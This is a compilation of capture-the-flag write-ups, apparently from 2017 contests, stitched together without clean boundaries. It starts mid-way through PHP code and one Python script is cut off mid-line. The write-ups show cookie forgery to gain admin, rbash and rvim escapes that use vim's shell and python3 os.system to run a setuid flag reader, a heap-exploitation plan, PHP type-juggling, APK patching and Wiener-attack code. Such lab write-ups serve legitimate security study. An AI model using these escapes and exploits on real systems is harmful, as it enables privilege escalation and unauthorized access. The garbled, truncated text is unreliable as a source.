if(!isset($_COOKIE['auth'])) { require_once('./login_form.php'); exit(0); } $cookie = $_COOKIE['auth'];
$pairs = explode('&', $cookie); $args = array(); foreach($pairs as $pair) { if(!strpos($pair, '=')) continue;
list($name, $value) = explode('=', $pair, 2); $args[$name] = $value; } $username = $args['username'];
print "<h1>Welcome back, $username!</h1>\n"; if($username == 'administrator') { print "Congratulations, you're the administrator! Here's your reward:\n"; print "" . FLAG . "\n"; } else { print "It's cool that you logged in, but unfortunately we can only give the flag to 'administrator'. :(\n"; } print "Log out\n";?>```We know now that we need to log in as administrator !!!Connect to site.
Congratulations, you're the administrator! Here's your reward:
" . FLAG . "
It's cool that you logged in, but unfortunately we can only give the flag to 'administrator'. :(
Log out
```Hint: Try guest/guestWe connect to site with credentials guest:guest
```
We see the cookie appear.I modify it with the plugin Cookie+ Manager de Firefox. Knowing that we have to be logged into administrator.
```Host: easyauth-afee0e67.ctf.bsidessf.netName: authPath: /Content: username%3Dadministrator%26date%3D2017-02-13T08%3A35%3A43%2B0000%26Content raw: username%3Dadministrator%26date%3D2017-02-13T08%3A35%3A43%2B0000%26Expires: À la fin de la sessionExpires raw: 0Send for: Tout type de connexionSend for raw: falseCreated: Monday, February 13, 2017 9:34:50 AMCreated raw: 1486974889695000Last accessed: Monday, February 13, 2017 9:35:29 AMLast accessed raw: 1486974929269000HTTP only: NoHTTP only raw: falseThis domain only: NoThis domain only raw: falsePolicy: no information availablePolicy raw: 0Status: no information availableStatus raw: 0---```
Then reload the page by logging in as administrator.
```FLAG:0076ecde2daae415d7e5ccc7db909e7e```
|
After connecting to server with provided credentials it appears that ctfuser is restricted by means of 'rbash'. There is a well-known restricted shell escape with vim text editor. To perform first escape one required to run vim and execute following vim commands::set shell=/bin/bash:shellWe end up in unrestricted bash and able to perform various commands. After poking around we find a binary file home directory ('/home/ctfuser/flagReader') which belongs to user 'topsecretuser' and allows read access with group 'secretuser'. Suid bit is set and secretuser can only execute binary, no read or write access. There is also a flag file in root directory ('/.flag').Running sudo -l shows us that we can run only one executable with rights of secretuser, which is rvim ('/usr/bin/rvim'). Main difference of rvim vs vim is that rvim does not allow escape to shell with previosly described techincs and, on top of that, no shell commands at all.The first though after stumbling upon rvim is running embedded module such as python or lua, but ':python' and ':lua' shows that no such module installed.To list all installed features it is possible to use ':version' vim command. Examining installed features shows that only interpreter that have been installed is python3. Following chain of vim commands gives us the flag::python3 import os; os.system('mkdir /tmp/.gettheflag/'):python3 import os; os.system('/home/ctfuser/flagReader /.flag > /tmp/.gettheflag/test'):r /tmp/.gettheflag/test<span>The flag is: flag{rVim_is_no_silverbullet!!!111elf}</span> |
In HTML source code:<span><script type="text/javascript" src="main.js"></span><span></script></span>In main.js:<span> if (password == "53cure" && username=="@nokh@") { alert("Awesome!"); window.open("secureflag.html"); } else { alert("Oh swap!You are close. Why cant you try again?"); }As it says, if I give @nokh@ as username, and 53cure as password, it redirects to a jpeg file, and it has flag near file's end, as binary.</span> |
`memo` is a `x86_64` pwn challenge with provided `libc`. `FULL RELRO` and `PIE` is disabled. At start we should provide an username (and password). We can do the following operations: 1. Insert new memo of size 0x20 up to 4 2. Edit last memo 3. View memo by index 4. Delete memo by index 5. Change Username and Password you entered before There is also a two table (array) at `.bss` which keeps memo address and its size (<= 0x20). # VulnerabilitiesAfter analysing each function it can be seen as `memo` has multiple issues: 1. At `new_message` `0x400C52` if we enter size more than 0x20 we can overflow an heap allocation by `malloc(0x20)` with our size. **and the allocated space won't be placed in memos table** 2. At `edit_last_message` `0x400DA8` we can leak heap address after editing. 3. At `view_memo` `0x400E56` index is not checked against negative values although due to casting we can't use this infoleak. 4. At `change_password` `0x400FF6` there is an off-by-one on entering password which overwrite LSB (Least significant byte) of first (index == 0) memo size.
As you may noticed we have heap overflow (via using `4` or `1`) but based on size limitation we should trick `fastbins` to own the challenge. # ExploitationFirst of all we need a fastbin free chain. So allocating two chunk both of size 0x20 and then freeing the chunks in **inverse order** gives us a fastbin free chain of size `48` (**0x30**). We can then use `1` vulnerability to overflow the heap and corrupt heap so that free chain last pointer points to our arbitrary address. **But remember we should provide our pointer in such a way that it bypasses the fastbin malloc corruption checks**. To do so we should use an address with having a metadata (address-4) of size `48`. For this case i choose memo table so if i can overwrite pointers in the table i have `infoleak + write-what-where` primitive. As i described earlier we can use password since it is located just behind the table. after overwriting the second pointer in the table and using `view_memo` i have libc leak and stack leak. Due to binary compiled with `FULL RELRO` protection, we can overwrite stack or creating a fake tls_dtors struct (but due to new protection against tls_dtors and issues in some cases i choose option 1). After leaking we can overwrite the second pointer in the table again with stack address and pwn the challenge.
You can see my [exploit](sol.py) |
It has source code!http://52.34.159.157/web200/source.phpVulnerability 1: extractDo not use this function on production, please. extract($_POST<span>);Vulnerability 2: PHP type jugling error, causing MD5 magic hash work</span> if ($password == $secret_password<span>) { require </span>'secret.php'<span>; </span>$hash_file = substr(md5($secret . $filename), 0, 6<span>); if (</span>$_POST['hash'] == $hash_file<span>) { echo </span>file_get_contents($filename<span>); }</span><span>If md5($secret.$filename) starts like 0e1234 and $_POST['hash'] is 0, since '0' == '0e1234' in PHP, it prints file contents of $filename.Since I don't know the secret, I just brute forced without knowing the actual hash.I've attached the exploit code.</span> |
# hiddensc [200]
Boston Key Party 2017 pwn 200
## Description
I know I hid that pesky shellcode page somewhere… (the hidden page will change every ~~10~~ 20 minutes). Please don't brute force the hundreds of GB of space…
## First Look
### Running the Binary
We're given two files, hiddensc which is the binary, and poop.sc, which is the shellcode that runs /bin/sh. Looking at the challenge description, it appears the program puts the shellcode somewhere in memory.
Running the binary locally on port 9001 gives us the following output:
```$ ./hiddensc 9001
seeding with 942fa402[!] shellcode is at 0x2fa5a2820000[!] page size is 0x1000[!] pid is 29166[+] listening on 0.0.0.0 9001```
Running subsequent times shows the shellcode does move around and is exactly one page (0x1000 bytes) long. Presumably we want somehow return to the shellcode which will give us a shell on the server.
### Main Menu
After we have the binary running on a port we can interact with it. The program is seemingly quite simple
```$ nc localhost 9001
[a]lloc, [j]ump : ```
We have two options, alloc and jump. Testing each option shows alloc will malloc an array of the size we request and jump will set RIP to the address we give. We also have the option to free the array we allocate, but if we choose not to we cannot free it later.
```[a]lloc, [j]ump : asz? 1234free? n
[a]lloc, [j]ump : jsz? 1094795585Stopped reason: SIGSEGV0x0000000041414141 in ?? ()```
Running the binary in gdb and connecting shows the program does let us jump to any address we want. Problem is the shellcode moves around every 20 minutes on the remote server, and we can't possibly bruteforce the entire 64-bit address space.
## Initial Reverse Engineering
### Static Analysis
From here I starting reverse engineering the binary in GDB. First I took a look at the randomness to see if there was a way to predict where the shellcode ended up in memory. A few lines in main stood out to me as being relevant to how the program picked an address to place the shellcode at.
```0x5555555554aa <+157>: call 0x5555555559bd <do_srand>0x5555555554af <+162>: call 0x5555555553b5 <rand64>
...
0x5555555554d7 <+202>: movabs rdx,0x5555555555550x5555555554e1 <+212>: imul rax,rdx0x5555555554e5 <+216>: sub rcx,rax0x5555555554e8 <+219>: mov rax,rcx0x5555555554eb <+222>: mov edx,DWORD PTR [rbp-0x45c]0x5555555554f1 <+228>: neg edx0x5555555554f3 <+230>: movsxd rdx,edx0x5555555554f6 <+233>: and rax,rdx0x5555555554f9 <+236>: mov QWORD PTR [rbp-0x448],rax
...
0x55555555556e <+353>: movsxd rsi,eax # Length (0x1000)0x555555555571 <+356>: mov rax,QWORD PTR [rbp-0x448]0x555555555578 <+363>: mov edx,DWORD PTR [rbp-0x458]0x55555555557e <+369>: mov r9d,0x0 # Offset0x555555555584 <+375>: mov r8d,edx # fd0x555555555587 <+378>: mov ecx,0x2 # Flags0x55555555558c <+383>: mov edx,0x5 # Protections0x555555555591 <+388>: mov rdi,rax # Address0x555555555594 <+391>: call 0x555555554f40 <mmap@plt>```
Based on the assembly it looks like the shellcode is placed at a random address between 0x0 and 0x555555555555 or so. The program mmaps a page with execute permissions and puts the shellcode there.
### Dynamic Analysis
To start the dynamic analysis, I first took a look at the layout of memory to see how the shellcode page fit in with everything else in memory.
```gdb-peda$ info proc mappingsprocess 29175Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x2fa5a2820000 0x2fa5a2821000 0x1000 0x0 /home/.../poop.sc 0x555555554000 0x555555556000 0x2000 0x0 /home/.../hiddensc 0x555555756000 0x555555757000 0x1000 0x2000 /home/.../hiddensc 0x555555757000 0x555555758000 0x1000 0x3000 /home/.../hiddensc 0x555555758000 0x555555779000 0x21000 0x0 [heap] 0x7ffff71da000 0x7ffff71e4000 0xa000 0x0 /lib/x86_64-linux-gnu/libnss_files-2.19.so 0x7ffff71e4000 0x7ffff73e3000 0x1ff000 0xa000 /lib/x86_64-linux-gnu/libnss_files-2.19.so 0x7ffff73e3000 0x7ffff73e4000 0x1000 0x9000 /lib/x86_64-linux-gnu/libnss_files-2.19.so 0x7ffff73e4000 0x7ffff73e5000 0x1000 0xa000 /lib/x86_64-linux-gnu/libnss_files-2.19.so 0x7ffff73e5000 0x7ffff73f0000 0xb000 0x0 /lib/x86_64-linux-gnu/libnss_nis-2.19.so 0x7ffff73f0000 0x7ffff75ef000 0x1ff000 0xb000 /lib/x86_64-linux-gnu/libnss_nis-2.19.so 0x7ffff75ef000 0x7ffff75f0000 0x1000 0xa000 /lib/x86_64-linux-gnu/libnss_nis-2.19.so 0x7ffff75f0000 0x7ffff75f1000 0x1000 0xb000 /lib/x86_64-linux-gnu/libnss_nis-2.19.so 0x7ffff75f1000 0x7ffff7608000 0x17000 0x0 /lib/x86_64-linux-gnu/libnsl-2.19.so 0x7ffff7608000 0x7ffff7807000 0x1ff000 0x17000 /lib/x86_64-linux-gnu/libnsl-2.19.so 0x7ffff7807000 0x7ffff7808000 0x1000 0x16000 /lib/x86_64-linux-gnu/libnsl-2.19.so 0x7ffff7808000 0x7ffff7809000 0x1000 0x17000 /lib/x86_64-linux-gnu/libnsl-2.19.so 0x7ffff7809000 0x7ffff780b000 0x2000 0x0 0x7ffff780b000 0x7ffff7814000 0x9000 0x0 /lib/x86_64-linux-gnu/libnss_compat-2.19.so 0x7ffff7814000 0x7ffff7a13000 0x1ff000 0x9000 /lib/x86_64-linux-gnu/libnss_compat-2.19.so 0x7ffff7a13000 0x7ffff7a14000 0x1000 0x8000 /lib/x86_64-linux-gnu/libnss_compat-2.19.so 0x7ffff7a14000 0x7ffff7a15000 0x1000 0x9000 /lib/x86_64-linux-gnu/libnss_compat-2.19.so 0x7ffff7a15000 0x7ffff7bcf000 0x1ba000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7bcf000 0x7ffff7dcf000 0x200000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7dd3000 0x7ffff7dd5000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7dd5000 0x7ffff7dda000 0x5000 0x0 0x7ffff7dda000 0x7ffff7dfd000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so 0x7ffff7fcf000 0x7ffff7fd2000 0x3000 0x0 0x7ffff7ff6000 0x7ffff7ff8000 0x2000 0x0 0x7ffff7ff8000 0x7ffff7ffa000 0x2000 0x0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]```
Based on the above output, it looks like the shellcode is always located above everything else in memory and it is unlikely there is anything else in memory nearby.
### Initial Analysis Conclusions
Based on the initial analysis, it appears the problem is to find the location of the shellcode in memory which is randomized each time the binary is run and jump to it using only malloc to leak information.
## Leaking Information
### Feedback
The only way to leak information from the program is to use the information it gives as feedback over the socket. The most definitive and useful information it supplies is whether or not malloc succeeds. This is the attack vector I chose to leak the address of the shellcode.
### malloc
malloc will fail if the program cannot allocate the space in memory that is requested. The only reason this would happen during normal operation of this program is if there is not a large enough continuous space in memory to meet the request.
This means it would be possible to leak the largest continuous space in memory by attempting to allocate an area in memory that the program cannot possibly create and then slowing lowering the size of the allocation until it succeeds.
### Large Allocations
The problem is the largest continuous space in memory is about 2^48 bytes in size, or ~300 terabytes. The operating system can't possibly let us allocate something this large, and a local test confirms this.
```[a]lloc, [j]ump : asz? 8589934592FAIL[a]lloc, [j]ump : asz? 4294967296free? ```
In the above session we can see 8589934592 (2^33) fails while 4294967296 (2^32) succeeds. Somewhere between those two numbers is the amount of RAM on my machine, so clearly the operating system is rejecting an allocation so large that the system cannot possibly use it. However, testing on the remote server shows something interesting.
```[a]lloc, [j]ump : asz? 281474976710656free? ```
Somehow TB allocations are allowed remotely but not on my machine. Unless they secured all the RAM in the world, there must be some way to tell the operating system not to reject allocations greater than the total amount of memory available.
### Memory Overcommitment
After some searching, I found the setting they must have used on their server to allow for larger allocations, overcommit_memory. The default setting of 0 will do some basic checking on the size of allocations, but setting the value to 1 will not do any checking, which is what we want.
```# echo 1 > /proc/sys/vm/overcommit_memory```
After changing this setting, allocations as large as 2^48 work locally just like on the remote server. This means developing a solution locally is possible
## Developing a Solution
### Strategy
Looking back at the map of memory from GDB, there are effectively three large open spaces in memory.
```Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x2fa5a2820000 0x2fa5a2821000 0x1000 0x0 /home/.../poop.sc 0x555555554000 0x555555556000 0x2000 0x0 /home/.../hiddensc ... 0x555555758000 0x555555779000 0x21000 0x0 [heap] 0x7ffff71da000 0x7ffff71e4000 0xa000 0x0 /lib/x86_64-linux-gnu/libnss_files-2.19.so ...```
From 0x0 to 0x555555555555 is somewhere between 2^46 and 2^47 bytes, and 0x555555779000 to 0x7ffff71da000 is somewhere between 2^46 and 2^45 bytes. The shellcode can be mapped to anywhere inside the first empty space which will split it into two parts.
Let's see what happens if we create an allocation of size 2^32.
```gdb-peda$ info proc mappingsprocess 1116Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x4d4c10bd000 0x4d4c10be000 0x1000 0x0 /home/.../poop.sc 0x555555554000 0x555555556000 0x2000 0x0 /home/.../hiddensc 0x555555756000 0x555555757000 0x1000 0x2000 /home/.../hiddensc 0x555555757000 0x555555758000 0x1000 0x3000 /home/.../hiddensc 0x555555758000 0x555555779000 0x21000 0x0 [heap] --->0x7ffeeffff000 0x7ffff0000000 0x100001000 0x0 0x7ffff0000000 0x7ffff0021000 0x21000 0x0 0x7ffff0021000 0x7ffff4000000 0x3fdf000 0x0 0x7ffff71da000 0x7ffff71e4000 0xa000 0x0 /lib/x86_64-linux-gnu/libnss_files-2.19.so ...```
It looks like malloc put the allocated memory at the bottom of memory, just above some of the libraries. Unfortunately this doesn't help with figuring out where the shellcode page is, but creating an allocation of size 2^45 bytes will fill up most of that space. This means allocations in the range 2^45 to 2^47 should be populated in the area around the shellcode page after the lower free space is taken up.
```gdb-peda$ info proc mappingsprocess 4000Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x2e2a14308000 0x4e2a14309000 0x200000001000 0x0 0x4e2a14309000 0x4e2a1430a000 0x1000 0x0 /home/.../poop.sc ... 0x555555757000 0x555555758000 0x1000 0x3000 /home/.../hiddensc 0x555555758000 0x555555779000 0x21000 0x0 [heap] 0x5ffff71d9000 0x7ffff71da000 0x200000001000 0x0 0x7ffff71da000 0x7ffff71e4000 0xa000 0x0 /lib/x86_64-linux-gnu/libnss_files-2.19.so ...```
### Solution
So we can force the program to create allocations between 0x0 and the shellcode (which is the biggest space in memory), and we can see whether or not the allocations succeed (and free them if they do). This allows us to figure out the amount of space between 0x0 and the shellcode, which is effectively the address of the shellcode. From here it's just a binary search to find the maximum size allocation allowed.
### 50% of the Time it Works Every Time
The only problem with the above strategy is sometimes (half the time) the shellcode is placed closer to 0x0 than the code section in memory. This means the biggest space (and the space the above binary search will find) will be between the code section and the shellcode. Unfortunately because of ASLR the code section moves around, so knowing the space between the code section and the shellcode won't help much.
Looking back on this problem, the solution would have been to not free the biggest allocation we could make (effectively taking up all the space between the code section and the shellcode), and then doing another binary search. However during the competition I instead chose to wait 20 minutes for the server to place the shellcode at a new location which was hopefully closer to the code section than to 0x0.
## Testing the Solution
### Implementation
```hiddensc.py``` contains the code used to solve the problem. After some initial testing, the maximum size found by the binary search algorithm was consistently 16 or 17 pages smaller than the location of the shellcode. With this adjustment, it works after both possibilities are tried.
This is not a problem because the server only randomizes the shellcode location every 20 minutes. Both possibilities can be tried without having to recalculate the address of the shellcode.
## Flag
Connecting to the remote server and exploiting the binary gives a shell!
```$ lsflaghiddenscpoop.sc$ cat flagbkp{really who actually turns on overcommit even in prod...}``` |
#!/usr/bin/env python2import math
from pwn import *
"""Read this: https://inst.eecs.berkeley.edu/~cs191/fa07/lectures/lecture22_fa07.pdf
I don't really know much about quantum computers.Credit goes to [bobert](https://github.com/rstrand2357) for figuring out how to solve this.I took a page of notes during a phone call with him.I bit twiddle much better than he does.
I also put some fmt.Println debug statements in the provided go code
The challenge creates a list of possible bombs. You have to tell the programwhich bombs will explode and which won't, but if you actively observe an active bomb, it'll explode.
Apparently there is some quantum magic where if you have a chain ofHadamard - phase shift - Hadamard - possible bomb[n]blocks, you can figure out if they are active bombs or not if youdo enough of these with a small enough phase shift each time.
We do a total of 2000 (bignum) sets of those four blocks.Each phase shift is pi/bignum radians
So, for each bomb n:send (2000*4) for the number of gatessend a Hadamard gatesend a phase shift by pi/2000send a Hadamard gatesend the index of the possible bomb nget the return value (0:safe, 1:bomb)
Repeat for all 112 bombs
Send back the list of bombs / not-bombs"""
context.endian = "big"context.log_level = "INFO"
# How many Hadamard-phase-Hadamard-bomb blocksbignum = 2000
# Gate types numbers are 0x70 + the gate indexhadamard = p8(0x70 + 4)# Phase rotation is a 64-bit floatphase_rot = p8(0x70 + 6) + struct.pack(" |
|Challenge ||------------||It's the developer's first mobile application.hey are trying their hand at storing secrets securely. Could one of them be the flag? (150 pts)|
|file||-------------||[pinstore.apk](https://github.com/youben11/BSides-San-Francisco-CTF-2017/blob/master/pinstore.apk)|
We start by : unzip pinstore.apk then convert the classes.dex file to jar by using : d2j-dex2jar classes.dexwe have now to extract the jar file and decompile all class file using javadecompiler
we can start by reading MainActivity.java : we have to enter a pin which will be compared to the pin provided by DatabaseUtilities.fetchpin(), so we read the DatabaseUtilities.java and find this interesting line :
Cusror cursor = db.rawQuery("SELECT pin FROM pinDB" , null);
we search for a database file and find assets/pinlock.db
[youben@youben assets]$ sqlite3 pinlock.db
SQLite version 3.14.2 2016-09-12 18:50:49
Enter ".help" for usage hints.
sqlite> SELECT pin FROM pinDB;
d8531a519b3d4dfebece0259f90b466a23efc57b
we can easily find the pin by searching on google 7498
we can also read assets/README:
v1.0:- Pin database with hashed pins
v1.1:- Added AES support for secret
v1.2:- Derive key from pin[To-do: switch to the new database]
So now we know that we have to switch to the new db
after reading SecretDisplay.java and CryptoUtilities.java we know that the app is reading a secret from the databases andusing an algorithm to decrypt it, but we have two secret and two algorithm and all what we need to do is switching to the second secret and algorithm.
we convert the classes.dex to a smali to patches it
[youben@youben pinstore]$ baksmali classes.dex
we modify SecretDisplay.smali :
const-string v7, "v1" --> const-string v7, "v2" // (line 74) to switch to the second algorithm
and modify the DatabaseUtilities.smali :
const-string v1, "SELECT entry FROM secretsDBv1" --> const-string v1, "SELECT entry FROM secretsDBv2" //(line 315) to switch to the second table and get the second secret
we can now rebuild the app :
[youben@youben pinstore]$ smali out/ -o classes.dex
[youben@youben patches]$ ls
AndroidManifest.xml assets classes.dex res resources.arsc // (the new classes.dex)
[youben@youben patches]$ jar -cvf myapp.apk *//(use you keystore to sign the jar)
[youben@youben patches]$ adb install myapp.apk
[100%] /data/local/tmp/myapp.apk
pkg: /data/local/tmp/myapp.apk
Success
run the app, enter the pin ... you can see the flag. |
# BsidesSF 2017 - Dnscap (forensics, 500 pts)
>Found this packet capture. Pretty sure there's a flag in here. Can you find it!?
>[dnscap.pcap](dnscap.pcap)
We get a packet capture containing DNS traffic. Only queries and replies for A, MX and TXT records. We thought about an exchange over a DNS tunnel but didn't really know where to start. We simply started by decoding the hostnames in the DNS queries and see what it looked like:
```pythonfrom scapy.all import rdpcap, DNSQR, DNSRR
for p in rdpcap('dnscap.pcap'):
# Look at queries only if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
qry = p[DNSQR].qname.replace('.skullseclabs.org.', '').split('.') qry = ''.join(_.decode('hex') for _ in qry)
print '%r' % qry```
The data in the hostnames towards the end contained this:
'\xa0W\x00\xe6\xda\x83Q\x00\x01console (sirvimes)\x00' '\xb5A\x01\xe6\xda\x83Qn\xa2' '1s\x01\xe6\xda\x83Qn\xa2' '\xac\xe3\x01\xe6\xda\x83Qn\xa2Good luck! That was dnscat2 traffic on a flaky connection with lots of re-transmits. Seriously, ' 'd[\x01\xe6\xda\x83\xb1n\xa2good luck. :)\n' '3z\x01\xe6\xda\x83\xbfn\xa2' 'T[\x01\xe6\xda\x83\xbfn\xa2'
From the message above we deducted that we were probably looking at the right place, and the first 9 bytes of each request was probably some dnscat specific data, useless for us. So we ran the script again, skipping the first 9 bytes and could observe the following:
We can clearly recognise the signature for a PNG file being transmitted! We adapted our script to skip the first 9 bytes of each decoded hostname in the queries, and take only the lines between this PNG file header and the one that contained the 'IEND' chunk:
```python if 15 < qry_nb < 194: out += qry[9:]
qry_nb += 1
open('out.png', 'wb').write(out)```
At this point, the file was ineligible. After mucking around trying to fix it, we remembered the phrase that we saw before: *"That was dnscat2 traffic on a flaky connection with lots of re-transmits."*
That would mean that a lot of queries were actually the same as the previous ones? Let's try and fix the script. We also need to remove another 9 bytes of garbage in the first query that contains the PNG header. Finally our [script](solution.py) below solved it!
```pythonfrom scapy.all import rdpcap, DNSQR, DNSRR
last_qry = ''out = ''q_nb = 0
for p in rdpcap('dnscap.pcap'):
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
qry = p[DNSQR].qname.replace('.skullseclabs.org.', '').split('.') qry = ''.join(_.decode('hex') for _ in qry)[9:]
if qry == last_qry: continue
last_qry = qry q_nb += 1
if q_nb == 7: # packet with PNG header out += qry[8:]
if 7 < q_nb < 127: # All packets up to IEND chunk out += qry
open('flag.png', 'wb').write(out)```Running it yields a valid PNG:  |
We were given a silly web page with an arithmetic operation and a submit box. However, we should answer it *Fast and Furious*, so no time to manually do the math.
I first tried using python *requests* but I changed my mind when I realized I would need one request to get the operation and then another to answer it. But by the time I sent the response to the first request, the operation would have changed. I needed something more interactive, like a Javascript code.
Fortunately I had heard of [Selenium project](http://www.seleniumhq.org/docs/01_introducing_selenium.jsp) a tool for web browser automation, normally used for testing purposes. Therefore I moved on to Selenium webdriver, so I could use it within my python script (I really enjoy Python. Like, REALLY). This was a cool experience, since I wanted to try this tool for a long time. The results are amazing, it allows us to interact with the browser just as if we were pointing and clicking it. This should do the trick for now.
After running
pip install selenium ,
I got some errors since it was not finding the browser drivers (chrome driver in this case). Instead of exporting the dirver path to PATH env variable, I chose to download the package manually and hardcode it.
In order to get the operands I used an XPath query. Although it is a very simple query, I used *Firebug's* "copy xpath" feature (just click with the right button over the desired element and click the xpath option).
The eval() function (**!!DANGER!!**) was very useful too to evaluate a math expression from the retrieved string.
After simulating the 'enter' key, it started running. Like really running, a browser was opened and things started happening there, as if I was clicking stuff myself. I got inebriated, no black screen, no green charachters. So futuristic. After about 200 levels we got the answer.
the_flag_is_6ffb242e3f65a2b51c36745b1cd591d1 |
# slow (cloud 450)
> Maybe if you run this on a big enough, strong enough computer for long enough,> you'll get it to print the flag!
> The NSA might have a computer suitable for this :)
This task, although it was in the `cloud` category, was more of an reverse engineering one.
The main function was very simple, just `printf("FLAG{%lu}\n", real_main());`. So we had to find out what that functionreturns. Note that we couldn't simply run the binary - it throws `std::bad_alloc` immediately.
Reverse engineering of the biggest function of the binary shows it is very sequential and repetitive code.First, it allocates two vectors of complex numbers - their size was 1LL<<48 though, far too much too allocate,let alone initialize.
After initialization (0+0i everywhere, and 1+0i in the very first cell), there was a couple of calls to a certain function -I called it `split`. It took one parameter, and what it did was adding, subtracting, and multiplying some numbers in the vector. After reading some quantum mechanics articles (and solving the other quantum challenge), I believe it applied Hadamard gate to the system - not that it was important to the solution... One thing I noticed after reimplementation of the function in C++, is that the number of non-zero cells doubles after each call to `split`. This property will beimportant later on.
After around 20 or so `split`s, the only remaining repeating patterns were of one of two types: `swap`,taking two arguments (say `a` and `b`), and swapping each index of array with `a`th bit set, with its corresponding cell,with bit `b` flipped. I believe this is controlled swap gate.
The other repeating function was `rotate`, which multiplied each cell with certain bit set by (0+1i), or simply shifted phaseby 90 degrees.
Finally, the code calculated a kind of checksum of the vector and returned the result to be printed as flag.
Unfortunately, some of the calls to the functions I mentioned were inlined, which made it much more difficult to see whatis going on. In the end, I wrote a dirty Python script to scrape the called functions, with heuristics to find the inlinedones too (and their parameters).
Still, we had to somehow run the code. I remind that there was a huge vector with 1LL<<48 cells. However, we can noticeboth `swap` and `rotate` do not change the number of non-zero cells: the `swap` just swaps them, and `rotate` multiplies.That means after all 22 of the `split`s, we had only 1<<22 non-zero cells - the vector was extremely sparse. For this reason,we did not have to waste computing power to iterate over all the cells - just the ones that had effect on the state (thenon-zero ones). We implemented it in C++ using `unordered_map`s, being careful to remove cells with zero in them aftereach transformation - otherwise, the whole map would quickly fill up and slow down. See `map.cpp` for the source code.
Running it took around 10-15 minutes, and printed the correct flag. |
# sponge (crypto, 200)
> I've written a hash function. Come up with a string that collides with "I love> using sponges for crypto".
The hash function we were given in this task, was simply xoring the 16-byte state with 10-byte input block, and thenencrypting with AES. If the blocks were 16-byte, the collision would be trivial to find, as we know the AES key:```result = state2 = AES(block1 xor AES(block0 xor state0)) = AES(block1 xor AES(block0))AESd(result) = block1 xor AES(block0)block1 = AESd(result) xor AES(block0)```So, we would be able to choose any `block0` other than original, and xor it with AES-decrypted final state to get neededblock1 for collision.
Unfortunately, the blocks were 10-byte long, which meant we did not control the top 6 bytes supplied to the AES.While the attack above would still work in some cases, we would have to calculate approximately `2**48` AES en- or decryptions.This is not unreasonable, but we would probably run out of time during the CTF anyway. So, we wrote the stateof the hash after three blocks: (`a`, `b` and `c` are first three blocks, `D` is the final state)```AES(AES(a) xor b) xor c = DAES(AES(a) xor b) = D xor c AES(a) xor b = AESd( D xor c ) b = AESd( D xor c ) xor AES(a)```So the middle block is a xor of two pseudorandom values. We control most of `a` and `c`, so we can generate a lot of valuesof `AESd(D xor c)` and `AES(a)`. If they somehow end up with the same last 6 bytes, their xor with have 6 zeroes at theend, so we will find colliding `b`.
Naive random generation of `c` and `a` would still take too long (no speed improvement in fact), but we can use *meet in the middle* technique. We precalculate `2**24` values of `AESd(D xor c)` and remember them in an efficientdata structure, such as hashmap, and then proceed to randomly genrating `AES(a)`, checking for each value (in constant time!)if there is any corresponding element in the map that ends with the same 6 bytes. This takes reasonable amount of time(although implemented in Python, only around a minute or so). Finally, we paste together `a`, `b`, `c` and `'o'` (the lastcharacter of the original text) to get a final collision to submit. |
# RSA Buffet (crypto)
###ENG[PL](#pl-version)
In the task we get a set of 10 4096 bit RSA public keys and 5 ciphertexts processed with some `secretsharing` python module.The goal is to break the public keys and decode ciphertexts.Sadly we got only 5 of the keys, and only 4 of the encrypted the ciphertexts so we got only the first flag (there were two).
The first key we broke was the most obvious one, key number 3:
```e = 228667357288918039245378693853585657521675864952652022596906774862933762099300789254749604425410946822615083373857144528433260602296227303503891476899519658402024054958055003935382417495158976039669297102085384069060239103495133686397751308534862740272246002793830176686556622100583797028989159199545629609021240950860918369384255679720982737996963877876422696229673990362117541638946439467137750365479594663480748942805548680674029992842755607231111749435902398183446860414264511210472086370327093252168733191324465379223167108867795127182838092986436559312004954839317032041477453391803727162991479936070518984824373880381139279500094875244634092093215146125326800209962084766610206048422344237134106891516381979347888453395909395872511361844386280383251556028219600028715738105327585286564058975370316649206938752448895524147428799966328319661372247669163998623995646371176483786757036960204837994662752770358964913870689131473714797550537422931003343433377469029232185552979648755665051117443571002017829146470221483652014417043043920340602378994630507647460734411326405049128160906832664174206633659153486878241903912874200129515570971220983561054906106575556061388168231915057339795246395626504771079756241685975773086049021119L
n = 625370676793301609007636145380331611237919351425496690404114180302249419719867435237342547950459491394834137179033102621573611784738388518952362848787237787440594300323769334356435131992521522997795029079251912507591819194229112877831181987001350385569134107880067429777572352378951587000987749447829255561035861423897841083194636994924140527822677164175006590642236546332030533920247393734145161727026178314748349757632676858997648848951518713836001935694487214337663667186794458714595706552931844195313593265852623091839910783970211228963728395962479544383117833611165858148867888664339695901377282163112482988096747232893295750676690941568494463290730116247822838421828649339437010788165430710512903632914670529270528098439859718986580569781164710102583602429563649626238817198851752150256839194761250249327990903746851390967504209752042479527523791824857674302720147951681393130861129469956962513163744166621211214770096232423058352324863327706013479610785632814580681502127018494520155709115651059545236646813027941576086510607434365502848385373510684649855795155224752033959337914546058251330474025320961186763814554194220596151399428277009154211720727770696506865214610059620204055226083684833160528072571967096188932684068843L```
It was obvious because with such high `e` we can run Wiener attack and recover the private key:
```sagec_fracs = continued_fraction(e/n).convergents()test_message = 42test_message_encrypted = pow(test_message,e,n)d = 0for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() breakprint(d)```
